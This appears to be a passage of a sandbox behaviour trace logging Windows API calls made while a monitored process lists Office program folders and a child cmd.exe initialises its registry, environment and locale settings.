ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0109.494] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0109.494] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0109.494] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0109.495] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0109.495] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0109.497] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0109.497] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0109.497] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0109.501] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0109.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0109.508] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0109.511] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0109.511] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0109.511] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0109.512] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0109.512] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 Thread: id = 27 os_tid = 0x7bc Thread: id = 28 os_tid = 0xd00 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xc8f4000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xda8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb80 [0088.225] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff78bc90000 [0088.225] __set_app_type (_Type=0x1) [0088.225] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff78bca6d00) returned 0x0 [0088.225] __getmainargs (in: _Argc=0x7ff78bcc9200, _Argv=0x7ff78bcc9208, _Env=0x7ff78bcc9210, _DoWildCard=0, _StartInfo=0x7ff78bcc921c | out: _Argc=0x7ff78bcc9200, _Argv=0x7ff78bcc9208, _Env=0x7ff78bcc9210) returned 0 [0088.226] _onexit (_Func=0x7ff78bca7fd0) returned 0x7ff78bca7fd0 [0088.226] _onexit (_Func=0x7ff78bca7fe0) returned 0x7ff78bca7fe0 [0088.226] _onexit (_Func=0x7ff78bca7ff0) returned 0x7ff78bca7ff0 [0088.226] _onexit (_Func=0x7ff78bca8000) returned 0x7ff78bca8000 [0088.226] _onexit (_Func=0x7ff78bca8010) returned 0x7ff78bca8010 [0088.227] _onexit (_Func=0x7ff78bca8020) returned 0x7ff78bca8020 [0088.227] GetCurrentThreadId () returned 0xb80 [0088.227] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb80) returned 0x70 [0088.227] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0088.228] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0088.228] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.620] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.620] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x86f7affdc8 | out: phkResult=0x86f7affdc8*=0x0) returned 0x2 [0088.620] VirtualQuery (in: lpAddress=0x86f7affdb4, lpBuffer=0x86f7affd30, dwLength=0x30 | out: lpBuffer=0x86f7affd30*(BaseAddress=0x86f7aff000, AllocationBase=0x86f7a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.620] VirtualQuery (in: lpAddress=0x86f7a00000, lpBuffer=0x86f7affd30, dwLength=0x30 | out: lpBuffer=0x86f7affd30*(BaseAddress=0x86f7a00000, AllocationBase=0x86f7a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.620] VirtualQuery (in: lpAddress=0x86f7a01000, lpBuffer=0x86f7affd30, dwLength=0x30 | out: lpBuffer=0x86f7affd30*(BaseAddress=0x86f7a01000, AllocationBase=0x86f7a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.621] VirtualQuery (in: lpAddress=0x86f7a04000, lpBuffer=0x86f7affd30, dwLength=0x30 | out: lpBuffer=0x86f7affd30*(BaseAddress=0x86f7a04000, AllocationBase=0x86f7a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.621] VirtualQuery (in: lpAddress=0x86f7b00000, lpBuffer=0x86f7affd30, dwLength=0x30 | out: lpBuffer=0x86f7affd30*(BaseAddress=0x86f7b00000, AllocationBase=0x86f7b00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.621] GetConsoleOutputCP () returned 0x1b5 [0088.888] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78bccfbb0 | out: lpCPInfo=0x7ff78bccfbb0) returned 1 [0088.888] SetConsoleCtrlHandler (HandlerRoutine=0x7ff78bcb8150, Add=1) returned 1 [0088.889] _get_osfhandle (_FileHandle=1) returned 0x254 [0088.889] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff78bccfc04 | out: lpMode=0x7ff78bccfc04) returned 0 [0088.889] _get_osfhandle (_FileHandle=0) returned 0x248 [0088.889] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff78bccfc00 | out: lpMode=0x7ff78bccfc00) returned 0 [0088.889] _get_osfhandle (_FileHandle=1) returned 0x254 [0088.889] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0088.889] _get_osfhandle (_FileHandle=1) returned 0x254 [0088.889] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff78bccfc08 | out: lpMode=0x7ff78bccfc08) returned 0 [0088.889] _get_osfhandle (_FileHandle=0) returned 0x248 [0088.889] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff78bccfc0c | out: lpMode=0x7ff78bccfc0c) returned 0 [0088.889] GetEnvironmentStringsW () returned 0x27b21d85a10* [0088.889] GetProcessHeap () returned 0x27b21d80000 [0088.890] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xa7c) returned 0x27b21d864a0 [0088.890] FreeEnvironmentStringsA (penv="A") returned 1 [0088.890] GetProcessHeap () returned 0x27b21d80000 [0088.890] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x8) returned 0x27b21d86f30 [0088.890] GetEnvironmentStringsW () returned 0x27b21d85a10* [0088.890] GetProcessHeap () returned 0x27b21d80000 [0088.890] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xa7c) returned 0x27b21d86f50 [0088.890] FreeEnvironmentStringsA (penv="A") returned 1 [0088.890] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x86f7afec78 | out: phkResult=0x86f7afec78*=0x7c) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x4, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x1, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x1, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x0, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x40, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x40, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x40, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegCloseKey (hKey=0x7c) returned 0x0 [0088.891] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x86f7afec78 | out: phkResult=0x86f7afec78*=0x7c) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x40, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x1, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x1, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x0, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x9, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x4, lpData=0x86f7afec90*=0x9, lpcbData=0x86f7afec74*=0x4) returned 0x0 [0088.891] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x86f7afec70, lpData=0x86f7afec90, lpcbData=0x86f7afec74*=0x1000 | out: lpType=0x86f7afec70*=0x0, lpData=0x86f7afec90*=0x9, lpcbData=0x86f7afec74*=0x1000) returned 0x2 [0088.891] RegCloseKey (hKey=0x7c) returned 0x0 [0088.891] time (in: timer=0x0 | out: timer=0x0) returned 0x5dca2b1c [0088.891] srand (_Seed=0x5dca2b1c) [0088.892] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0088.892] malloc (_Size=0x4000) returned 0x27b21d654f0 [0088.892] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0088.892] malloc (_Size=0xffce) returned 0x27b21e80080 [0088.893] ??_V@YAXPEAX@Z () returned 0x27b21e80080 [0088.893] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x27b21e80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0088.894] malloc (_Size=0xffce) returned 0x27b21e90060 [0088.894] ??_V@YAXPEAX@Z () returned 0x27b21e90060 [0088.895] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27b21e90060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0088.895] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0088.895] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.895] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0088.895] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0088.895] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0088.895] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0088.895] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0088.895] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0088.896] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0088.896] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0088.896] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0088.896] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0088.896] GetProcessHeap () returned 0x27b21d80000 [0088.896] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d864a0) returned 1 [0088.896] GetEnvironmentStringsW () returned 0x27b21d85a10* [0088.896] GetProcessHeap () returned 0x27b21d80000 [0088.896] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xa94) returned 0x27b21d87a10 [0088.896] FreeEnvironmentStringsA (penv="A") returned 1 [0088.896] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0088.896] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0088.896] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0088.896] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0088.896] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0088.896] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0088.896] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0088.897] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0088.897] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0088.897] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0088.897] malloc (_Size=0xffce) returned 0x27b21ea0040 [0088.897] ??_V@YAXPEAX@Z () returned 0x27b21ea0040 [0088.898] GetProcessHeap () returned 0x27b21d80000 [0088.898] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x40) returned 0x27b21d884b0 [0088.898] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x27b21ea0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0088.898] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x27b21ea0040, lpFilePart=0x86f7aff7f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x86f7aff7f0*="Desktop") returned 0x17 [0088.899] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0088.899] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x86f7aff520 | out: lpFindFileData=0x86f7aff520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x27b21d88500 [0088.899] FindClose (in: hFindFile=0x27b21d88500 | out: hFindFile=0x27b21d88500) returned 1 [0088.900] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x86f7aff520 | out: lpFindFileData=0x86f7aff520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x27b21d88500 [0088.900] FindClose (in: hFindFile=0x27b21d88500 | out: hFindFile=0x27b21d88500) returned 1 [0088.900] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x86f7aff520 | out: lpFindFileData=0x86f7aff520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa0b2ca50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xa0b2ca50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x27b21d88500 [0088.900] FindClose (in: hFindFile=0x27b21d88500 | out: hFindFile=0x27b21d88500) returned 1 [0088.900] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0088.900] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0088.900] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0088.901] GetProcessHeap () returned 0x27b21d80000 [0088.901] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d87a10) returned 1 [0088.901] GetEnvironmentStringsW () returned 0x27b21d80fc0* [0088.901] GetProcessHeap () returned 0x27b21d80000 [0088.901] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xacc) returned 0x27b21d88500 [0088.901] FreeEnvironmentStringsA (penv="=") returned 1 [0088.901] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x27b21e80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0088.901] GetProcessHeap () returned 0x27b21d80000 [0088.902] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d884b0) returned 1 [0088.902] ??_V@YAXPEAX@Z () returned 0x1 [0088.902] ??_V@YAXPEAX@Z () returned 0x1 [0088.902] GetProcessHeap () returned 0x27b21d80000 [0088.902] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x4016) returned 0x27b21d88fe0 [0088.902] GetProcessHeap () returned 0x27b21d80000 [0088.902] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d88fe0) returned 1 [0088.902] GetConsoleOutputCP () returned 0x1b5 [0089.600] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78bccfbb0 | out: lpCPInfo=0x7ff78bccfbb0) returned 1 [0089.600] GetUserDefaultLCID () returned 0x409 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff78bccbb78, cchData=8 | out: lpLCData=":") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x86f7affbb0, cchData=128 | out: lpLCData="0") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x86f7affbb0, cchData=128 | out: lpLCData="0") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x86f7affbb0, cchData=128 | out: lpLCData="1") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff78bccbb68, cchData=8 | out: lpLCData="/") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff78bccbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff78bccbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff78bccba80, cchData=32 | out: lpLCData="Wed") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff78bccba40, cchData=32 | out: lpLCData="Thu") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff78bccba00, cchData=32 | out: lpLCData="Fri") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff78bccb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff78bccb980, cchData=32 | out: lpLCData="Sun") returned 4 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff78bccbb58, cchData=8 | out: lpLCData=".") returned 2 [0089.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff78bccbb40, cchData=8 | out: lpLCData=",") returned 2 [0089.601] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0089.604] GetProcessHeap () returned 0x27b21d80000 [0089.604] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x0, Size=0x20c) returned 0x27b21d86560 [0089.604] GetConsoleTitleW (in: lpConsoleTitle=0x27b21d86560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0090.163] 